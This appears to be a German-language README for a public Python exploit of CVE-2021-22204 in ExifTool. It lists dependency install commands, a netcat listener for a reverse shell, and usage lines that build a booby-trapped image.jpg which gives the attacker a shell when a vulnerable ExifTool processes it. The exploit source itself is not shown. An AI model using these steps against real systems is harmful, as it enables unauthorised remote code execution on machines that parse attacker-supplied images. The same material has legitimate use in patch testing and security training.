CVE-2021-22204-exiftool

Python-Exploit für die Schwachstelle CVE-2021-22204 in Exiftool.

Video-Tutorial

Youtube

    404 notfound

Anforderungen

python3 python3-pip djvulibre-bin exiftool

Anforderungen installieren

Debian

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Ubuntu

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Arch Linux

    pacman -S djvulibre libimage-exiftool-perl python python-pip

Kali Linux

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Fedora

    dnf install djvulibre libimage-exiftool-perl python-minimal python-pip

OS X

    brew install djvulibre exiftool python

Raspbian

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

So führen Sie es aus:

Python-Anforderungen installieren

    sudo pip install -r requirements.txt

Reverse Shell mit netcat starten

    nc -nvlp 4444

Ausführungsberechtigung erteilen

    chmod +x exploit.py

Programm ausführen

    python3 exploit.py {Ihre IP-Adresse} {Ihr Listening-Port} 
    

ODER

    ./exploit.py {Ihre IP-Adresse} {Ihr Listening-Port}

Beispiel

    python3 exploit.py 192.168.0.1 4444
    

ODER

    ./exploit.py 192.168.0.1 4444

Der Name der Ausgabedatei lautet

    image.jpg
    

Über die Schwachstelle

Die CVE-2021-22204 wurde von William Bowling entdeckt und gemeldet. (@wcbowling)

Dieser Exploit wurde durch das Studium des Exiftool-Patches erstellt, nachdem die CVE bereits gemeldet worden war.

Und die image.jpg löst die Schwachstelle aus, wenn sie mit einem verwundbaren Exiftool geöffnet wird.